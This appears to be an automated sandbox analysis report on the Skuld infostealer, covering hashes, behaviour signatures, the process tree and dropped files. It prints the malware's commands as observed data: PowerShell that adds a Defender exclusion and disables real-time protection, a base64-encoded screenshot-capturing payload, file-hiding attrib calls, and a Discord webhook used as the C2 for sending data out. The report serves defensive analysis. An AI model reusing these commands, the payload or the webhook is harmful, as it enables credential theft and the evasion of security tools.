Resubmissions

17-10-2024 02:38

241017-c4pyyayang 10

17-10-2024 02:37

241017-c4h6ds1gpk 10

Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17-10-2024 02:38

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    60ee1db8e3804f423578fa28292bd459

  • SHA1

    5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

  • SHA256

    d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

  • SHA512

    691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

  • SSDEEP

    98304:RdOdn+CM8aRA3oyx/thsEzgzMPEPmjBJZrZ6BN9elQcR:RdXCM8JvHsEzg4M4cN9ef

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4044
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3276
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3880
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:908
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BB5.tmp" "c:\Users\Admin\AppData\Local\Temp\bzpwgapk\CSC9785C079B9B74213AFD4EA94D2A4C2C1.TMP"
          4⤵
            PID:4124
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3200
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:2208

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      627073ee3ca9676911bee35548eff2b8

      SHA1

      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

      SHA256

      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

      SHA512

      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      1a9fa92a4f2e2ec9e244d43a6a4f8fb9

      SHA1

      9910190edfaccece1dfcc1d92e357772f5dae8f7

      SHA256

      0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

      SHA512

      5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c8d315e2d960e6376f18a86f3c138595

      SHA1

      314f74815cc0fc0d4ea21bbd7f95aa7f8e1c7622

      SHA256

      17c1aed4484101ace66bb74d865fa5a4a75dc4ff491e3aebf58e9862ae263512

      SHA512

      9438147bc0de4699c4d4d8d0a8e635f611fa08e11fdca51dc9ea52e235273b7330c2058fb9e9f86363645112fdc478b201f26fad2a0334fe143586a028778733

    • C:\Users\Admin\AppData\Local\Temp\EyoLhHh9B7\Display (1).png

      Filesize

      416KB

      MD5

      fe4f8ae9b961db195cac8aa16341ec94

      SHA1

      b681a5a3cf2a261c811fdd4bb38f8e4e4ab1e00a

      SHA256

      f9810ced49ad715c3e5d9fc2b18d865cb89a95f7a0a6cb242d6f9fd1b2f3f777

      SHA512

      860a23967887f6128b47c90836bc6439ee37fa56bad070456233d90b0e59da9328771925e4a4e26ba4af4954fcaf35588e0ac4127bafd9596df389bab49dc679

    • C:\Users\Admin\AppData\Local\Temp\RES8BB5.tmp

      Filesize

      1KB

      MD5

      bbfa33d2b38b19ef41ac6ec71aaf911b

      SHA1

      1715ce254bbe8eab86004fb9d3b3917a97db15e3

      SHA256

      db1238afe958fc09164365e000de40b4b640805601e0da6b90763259970bde60

      SHA512

      ed95dfa55ad5172af332a33713c36182b0cbb4ae642340e4719a46302cc16dcfb9259225fb0f1b68857a763ed4fbc21832b5e2b9dd5affcb9e78a45989e0237b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l44y1kgv.2j2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.dll

      Filesize

      4KB

      MD5

      27cacec7053cc78152a26d4cd113cdf9

      SHA1

      8646fcb5b12e0d53b9817b525fd71e6551cbf191

      SHA256

      99e5bd43412e410c062e7020df3708ef0f97527a3d72dd929b669db3d0dc2026

      SHA512

      b1e57bf1830a5be0da97630c10831d9cabe52d5b8584bfa2bc32c6cabbd9db409be62f0b1f9fcdd950904050b68ccc8a3bf88cb00a9a2665faa7b336ea356bf7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      60ee1db8e3804f423578fa28292bd459

      SHA1

      5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

      SHA256

      d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

      SHA512

      691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\CSC9785C079B9B74213AFD4EA94D2A4C2C1.TMP

      Filesize

      652B

      MD5

      02228a2960c1262bcd41673e072a8fca

      SHA1

      f68f4deeb083663c4cc5bcedf068a8f9531ab21f

      SHA256

      7d691031d15bde8bccad04ffa262d2cb26e8e7d4eef75cb07334a8e4e3aa3fa4

      SHA512

      28a7843651225496a2f616d26e8fc327bd25e2e7e033dd4167d308211f064c5b2f99d69c73063370096382768c2a6c4d4863b893f709be351eedb51997e4f8a9

    • \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\bzpwgapk\bzpwgapk.cmdline

      Filesize

      607B

      MD5

      55961c152e1e1ab6037cbb42d389d4f6

      SHA1

      cf57a80914e3756aa677793e0e2760568e0f5a3b

      SHA256

      e9b7298ad0b3d5e7c8f9fecb76df46c947ac2e6e086add75e217de25c64f9e79

      SHA512

      c385301060b11bceebe02842ad240d8c1887eb55bce6b503ee3a7799e4940bdeab20a51e41b2c9ebd873d5cfbc1ab724c3ab08b8c8a5cc061e6a2099f79d866a

    • memory/908-56-0x000001B7EE110000-0x000001B7EE118000-memory.dmp

      Filesize

      32KB

    • memory/3276-19-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-1-0x00007FFED1CF3000-0x00007FFED1CF5000-memory.dmp

      Filesize

      8KB

    • memory/3276-16-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-14-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-5-0x00007FFED1CF0000-0x00007FFED27B2000-memory.dmp

      Filesize

      10.8MB

    • memory/3276-4-0x000002A6393E0000-0x000002A639402000-memory.dmp

      Filesize

      136KB